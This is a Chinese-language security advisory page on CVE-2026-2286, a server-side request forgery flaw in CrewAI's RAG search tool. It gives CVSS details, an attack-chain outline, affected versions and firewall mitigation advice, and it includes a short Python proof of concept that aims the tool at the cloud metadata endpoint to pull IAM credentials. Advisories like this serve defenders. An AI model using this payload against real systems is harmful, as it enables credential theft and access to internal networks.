IPBUF安全漏洞报告
English
CVE-2026-2286 CVSS 9.8 严重

CVE-2026-2286 CrewAI RAG工具严重SSRF漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-2286
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CrewAI

相关标签

SSRFCrewAIRAG远程代码执行风险严重漏洞

漏洞概述

CrewAI是一款基于多智能体编排的AI框架。该漏洞存在于其RAG(检索增强生成)搜索工具中,由于未对运行时提供的URL进行严格校验,导致存在服务器端请求伪造(SSRF)漏洞。攻击者可利用此漏洞从内部网络或云服务获取敏感内容,对系统机密性、完整性和可用性造成严重影响。该漏洞CVSS v3.1评分为9.8,无需认证且无交互即可被远程利用,属于严重级别安全风险。

技术细节

该漏洞源于CrewAI中集成的RAG搜索工具在处理用户输入的URL时缺乏有效的验证机制。RAG工具通常用于从外部资源抓取信息以增强LLM的上下文理解,但该组件直接将用户提供的URL作为目标发起HTTP请求,未检查URL是否指向内网地址(如127.0.0.1、169.254.169.254等云元数据服务)或受限资源。攻击者可通过构造恶意URL,利用CrewAI服务器作为代理,探测内网端口、读取本地敏感文件(如file://协议)或访问云厂商的元数据服务窃取临时凭证。由于CVSS向量显示无需权限(PR:N)且无交互(UI:N),攻击者只需向暴露的接口发送特制请求即可触发漏洞。

攻击链分析

STEP 1
1. 侦察
攻击者发现目标系统运行了存在漏洞的CrewAI服务,并确认其开放的API接口。
STEP 2
2. 构造恶意请求
攻击者构造包含内网敏感地址(如云元数据服务地址)的URL,并将其通过RAG搜索工具的参数发送给服务器。
STEP 3
3. 发起SSRF攻击
CrewAI服务器接收请求后,未验证URL合法性,直接向攻击者指定的内网地址发起HTTP请求。
STEP 4
4. 数据窃取
内网服务返回敏感信息(如IAM凭证、配置文件),CrewAI服务器将其转发给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-2286 (CrewAI SSRF) This script demonstrates how a malicious URL can be sent to the vulnerable RAG tool. """ import requests target_url = "http://target-crewai-instance:8000/api/rag/search" # Hypothetical endpoint # Payload targeting internal metadata (AWS example) payload_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" data = { "query": "test", "url": payload_url # Malicious internal URL } try: response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] SSRF Successful! Response from internal service:") print(response.text) else: print("[-] Request failed or filtered.") except Exception as e: print(f"Error: {e}")

影响范围

CrewAI < 0.1.0 (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
在官方补丁发布前,建议通过防火墙或网络安全组限制CrewAI服务器的出站访问权限,阻断其对内网及云元数据服务(如169.254.169.254)的连接请求。同时,严格监控API调用日志,检测是否存在异常的内网访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表